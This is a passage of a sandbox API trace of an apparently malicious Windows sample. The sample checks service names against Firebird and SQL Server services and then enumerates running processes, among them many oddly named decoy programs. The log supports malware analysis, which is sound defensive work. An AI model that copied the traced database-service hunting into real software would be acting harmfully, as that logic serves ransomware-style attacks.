lpString2="PcaSvc") returned 1 [0099.093] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0099.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0099.093] lstrlenW (lpString="PlugPlay") returned 8 [0099.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0099.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0099.093] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0099.093] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0099.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0099.093] lstrlenW (lpString="Power") returned 5 [0099.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0099.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0099.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0099.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0099.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0099.093] lstrlenW (lpString="ProfSvc") returned 7 [0099.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0099.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0099.093] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0099.093] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0099.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0099.094] lstrlenW (lpString="RpcEptMapper") returned 12 [0099.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0099.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0099.094] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0099.094] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0099.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0099.094] lstrlenW (lpString="RpcSs") returned 5 [0099.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0099.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0099.094] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0099.094] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0099.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0099.094] lstrlenW (lpString="SamSs") returned 5 [0099.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0099.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0099.094] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0099.094] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0099.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0099.094] lstrlenW (lpString="Schedule") returned 8 [0099.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0099.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0099.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0099.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0099.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0099.094] lstrlenW (lpString="SecurityHealthService") returned 21 [0099.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0099.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0099.094] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0099.094] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0099.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0099.094] lstrlenW (lpString="SENS") returned 4 [0099.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0099.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0099.094] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0099.094] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0099.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0099.095] lstrlenW (lpString="ShellHWDetection") returned 16 [0099.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0099.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0099.095] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0099.095] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0099.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0099.095] lstrlenW (lpString="Spooler") returned 7 [0099.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0099.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0099.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0099.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0099.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0099.095] lstrlenW (lpString="SSDPSRV") returned 7 [0099.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0099.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0099.095] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0099.095] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0099.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0099.095] lstrlenW (lpString="StateRepository") returned 15 [0099.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0099.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0099.095] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0099.095] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0099.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0099.095] lstrlenW (lpString="SysMain") returned 7 [0099.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0099.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0099.095] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0099.095] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0099.095] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a1df8 | out: hHeap=0x4b0000) returned 1 [0099.095] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0099.663] Process32FirstW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.663] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0099.664] lstrlenW (lpString="System") returned 6 [0099.664] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0099.664] lstrlenW (lpString="smss.exe") returned 8 [0099.664] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.665] lstrlenW (lpString="csrss.exe") returned 9 [0099.665] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0099.666] lstrlenW (lpString="wininit.exe") returned 11 [0099.666] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.666] lstrlenW (lpString="csrss.exe") returned 9 [0099.666] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0099.667] lstrlenW (lpString="winlogon.exe") returned 12 [0099.667] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0099.668] lstrlenW (lpString="services.exe") returned 12 [0099.668] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0099.668] lstrlenW (lpString="lsass.exe") returned 9 [0099.668] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.669] lstrlenW (lpString="svchost.exe") returned 11 [0099.669] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0099.669] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0099.669] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0099.670] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0099.670] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.670] lstrlenW (lpString="svchost.exe") returned 11 [0099.670] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0099.671] lstrlenW (lpString="dwm.exe") returned 7 [0099.671] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.671] lstrlenW (lpString="svchost.exe") returned 11 [0099.671] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.672] lstrlenW (lpString="svchost.exe") returned 11 [0099.672] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.673] lstrlenW (lpString="svchost.exe") returned 11 [0099.673] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.673] lstrlenW (lpString="svchost.exe") returned 11 [0099.673] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.674] lstrlenW (lpString="svchost.exe") returned 11 [0099.674] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.674] lstrlenW (lpString="svchost.exe") returned 11 [0099.674] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.675] lstrlenW (lpString="svchost.exe") returned 11 [0099.675] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.675] lstrlenW (lpString="svchost.exe") returned 11 [0099.675] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.676] lstrlenW (lpString="svchost.exe") returned 11 [0099.676] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.677] lstrlenW (lpString="svchost.exe") returned 11 [0099.677] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0099.677] lstrlenW (lpString="spoolsv.exe") returned 11 [0099.677] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.678] lstrlenW (lpString="svchost.exe") returned 11 [0099.678] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0099.678] lstrlenW (lpString="audiodg.exe") returned 11 [0099.678] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0099.679] lstrlenW (lpString="sihost.exe") returned 10 [0099.679] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.679] lstrlenW (lpString="svchost.exe") returned 11 [0099.679] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0099.775] lstrlenW (lpString="taskhostw.exe") returned 13 [0099.775] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0099.855] lstrlenW (lpString="explorer.exe") returned 12 [0099.855] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0099.856] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0099.856] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0099.856] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0099.856] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0099.857] lstrlenW (lpString="Memory Compression") returned 18 [0099.857] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0099.858] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0099.858] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0099.858] lstrlenW (lpString="SearchUI.exe") returned 12 [0099.858] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0099.859] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0099.859] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0099.860] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0099.860] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0100.029] lstrlenW (lpString="pending.exe") returned 11 [0100.029] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0100.029] lstrlenW (lpString="bug workers.exe") returned 15 [0100.029] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0100.030] lstrlenW (lpString="succeed.exe") returned 11 [0100.030] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0100.031] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0100.031] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0100.032] lstrlenW (lpString="bookings.exe") returned 12 [0100.032] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0100.032] lstrlenW (lpString="tramadol for.exe") returned 16 [0100.032] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0100.033] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0100.033] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0100.034] lstrlenW (lpString="starter detection.exe") returned 21 [0100.034] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0100.034] lstrlenW (lpString="unified aus.exe") returned 15 [0100.034] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0100.035] lstrlenW (lpString="taiwan registration.exe") returned 23 [0100.035] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0100.036] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0100.036] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0100.037] lstrlenW (lpString="headlines.exe") returned 13 [0100.037] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0100.037] lstrlenW (lpString="ash-method.exe") returned 14 [0100.037] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0100.038] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0100.038] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0100.039] lstrlenW (lpString="programmes officially.exe") returned 25 [0100.039] Process32NextW (in: hSnapshot=0x340, 